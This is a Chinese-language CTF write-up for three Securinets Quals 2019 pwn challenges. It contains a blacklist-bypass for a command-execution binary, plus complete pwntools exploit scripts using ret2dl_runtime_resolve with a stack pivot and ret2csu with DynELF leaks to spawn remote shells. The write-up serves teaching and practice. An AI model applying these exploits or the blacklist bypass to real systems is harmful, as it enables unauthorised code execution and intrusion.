Securinets CTF Quals 2019 部分pwn题wp

tctf难到自闭,中途报了个别的ctf。写下三道pwn题的wp,有一道题在大佬的帮助下学到了新姿势,之前以为这种栈溢出是没法做的,还有一道格式化串的题一直做不出来。。等wp出来以后再复现了。。

welocome

pwn的签到题。
程序源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
int search(char str[], char word[])
int l, i, j;
/*length of word */
for (l = 0; word[l] != '\0'; l++);
for (i = 0, j = 0; str[i] != '\0' && word[j] != '\0'; i++)
{
if (str[i] == word[j])
{
j++;//相等j++
}
else
{
j = 0;
}
}
if (j == l)
{
/* substring found */
return (i - j);
}
else
{
return - 1;
}
}
int delete_word(char str[], char word[], int index)
{
int i, l;
/* length of word */
for (l = 0; word[l] != '\0'; l++); //遍历word数组

for (i = index; str[i] != '\0'; i++)
{
str[i] = str[i + l + 1];
}
}
void main(int argc, char* argv[])
{
char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};
cat head less more cp man scp xxd dd
char str[80], word[50];
int index;
printf("Welcome to Securinets Quals CTF \o/ \n");
printf("Enter string:\n");
read(0,str,79);
for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++)
{
index = search(str, blacklist[i]);
if (index != - 1)
{
delete_word(str, blacklist[i], index);
}
}
setreuid(geteuid(),geteuid());
close(0);
system(str);
}

程序就是让你输入命令,然后system执行,但是设置了命令黑名单。查看文件和flag等字符串都不让输入。但是匹配算法有点问题,匹配的是输入的字符串的后面部分,输入cat flag.txt cat flag.txt即可绕过。

baby2


这道题目只有一个栈溢出,但是没有任何leak,看到这道题目的第一感觉就是ret2dl_runtime_resolve,关于这个利用技术,网上有很多,这里就不细说了。
虽然这个利用方法比较难,但是这道题的难点不在这,而是栈溢出在main函数中,在之前,我一直以为这种栈溢出是不能做的,遇到一个人很好的pwn师傅给我提供了思路。
main函数和其他函数的栈布局有所不同。注意图中画红方框的地方。
函数开始部分:

1
2
3
4
5
6
lea    	ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx

此时栈布局大概是这样的:

saved ecx的值等于 ebp +8
当函数结束时:

1
2
3
4
mov     ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn

将saved ecx的值赋值给ecx,然后再将ecx-4 赋值给esp,再ret。
这里ecx的存在有点像canary。
保存在栈中saved ecx -4 才是最后esp的值,如果栈中的saved ecx,被破坏了,程序就会崩溃。
如图:

红框即是saved ecx。
他此时指向:

最后的ESP即是:

正常的栈溢出的做法是 返回地址以上的空间全是padding,从返回地址开始写ROP,但是这样saved ecx的值就被破坏掉
例如:
全用AAAA。。。填充缓冲区,那么saved ecx的地址被覆盖为0x41414141。
Program received signal SIGSEGV (fault address 0x4141413d)
此时ESP的值等于0x4141413d,是一个无效的地址。这样程序根本进入不了ROP,我开始的想法是将ECX覆盖为某个函数的got-4,但是参数无法布置。

解决办法:
将第一段ROP写在buf中,即写在缓冲区中。再将saved ecx的高位第一个字节覆盖掉,覆盖为buf地址+4 的高位第一个字节,那么返回的地址就返回到buf中了。虽然开启了ASLR,但还是有几率爆破成功。但是地址选择要保证高位第二个字节是相等的。例如:

要保证爆破的地址,高位第二个字节是相等的,因为我们只能控制高位第一个字节

本题还有一个坑点,就是
return read(0, &buf, 0x12Cu);
read读取的长度是0x12c,连续发送两段payload,会连在一起,使用了sleep仍然不行,要使用raw_input或者pause

exp如下:(要多试几次才能成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#a=process("./baby2")
a=remote("51.254.114.246","2222")
#gdb.attach(a,"b *0x80484a3")
elf=ELF("./baby2")
read_plt=elf.plt["read"]
rel_plt_addr=0x80482d8
dynsym_addr=0x80481d0
dynstr_addr=0x8048240
plt0_addr=0x8048320
pop3_ret=0x08048509
bss_addr=elf.bss()+0x20

fake_rel_plt_addr=bss_addr

arg_offset=fake_rel_plt_addr - rel_plt_addr#dl_reslove(linkmap,arg_offset)

fake_dynsym_addr=fake_rel_plt_addr + 0x8 #fake_dynsym address

align=16-(fake_dynsym_addr-dynsym_addr)%16 #align
fake_dynsym_addr+=align

r_info=(((fake_dynsym_addr-dynsym_addr)/16)<<8)|0x7 #rel_plt's r_info

fake_dynstr_addr=fake_dynsym_addr+16
sh_addr=fake_dynstr_addr + 7
offset=fake_dynstr_addr-dynstr_addr

payload=""
payload+=p32(read_plt) #read
payload+=p32(pop3_ret) #pop pop pop ret
payload+=p32(0) #fd
payload+=p32(bss_addr) #buf
payload+=p32(0x100) #length
payload+=p32(plt0_addr)#PLT[0]
payload+=p32(arg_offset)
payload+=p32(pop3_ret) #return address
payload+=p32(sh_addr)#/bin/sh address
payload=payload.ljust((0x30-4),"\x00")
payload+='\x9c'
a.send(payload)

pause()

payload=p32(elf.got["read"])#fake_rel_plt
payload+=p32(r_info)
payload+='A'*align #padding
payload+=p32(offset)+p32(0)+p32(0)+p32(0x12) #fake dynsym
payload+="system\x00" #fake dynstr
payload+="/bin/sh\x00"
a.sendline(payload)
a.interactive()

baby1

64位程序,一个基本栈溢出,由于没有给出动态库,可以配合pwntools的DynELF模块泄露system函数地址,也可以随便泄露一个地址再匹配动态库,再计算出system函数地址。
直接放exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
a=remote("51.254.114.246",1111)
elf=ELF("./baby1")
write_got=elf.got["write"]
start_addr=0x400500
def leak(addr):
a.recvuntil("Welcome to securinets Quals!\n")
payload='A'*56
payload+=p64(0x0000000004006BA)#csu
payload+=p64(0)
payload+=p64(1)
payload+=p64(write_got)
payload+=p64(8)
payload+=p64(addr)
payload+=p64(1)
payload+=p64(0x0000000004006A0)#csu
payload+='A'*56
payload+=p64(start_addr)
a.sendline(payload)
return a.recv(8)
d=DynELF(leak,elf=elf)
system_addr=d.lookup("system","libc")
log.info("system_addr = 0x%x"%(system_addr));

read_got=elf.got["read"]
def exp():
a.recvuntil("Welcome to securinets Quals!\n")
payload='A'*56
payload+=p64(0x0000000004006BA)#csu
payload+=p64(0)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(10)
payload+=p64(elf.bss())
payload+=p64(0)
payload+=p64(0x0000000004006A0)#csu
payload+='A'*56
payload+=p64(0x00000000004006c3)
payload+=p64(elf.bss())
payload+=p64(system_addr)
a.sendline(payload)
sleep(0.1)
a.sendline("/bin/sh")
a.interactive()
exp()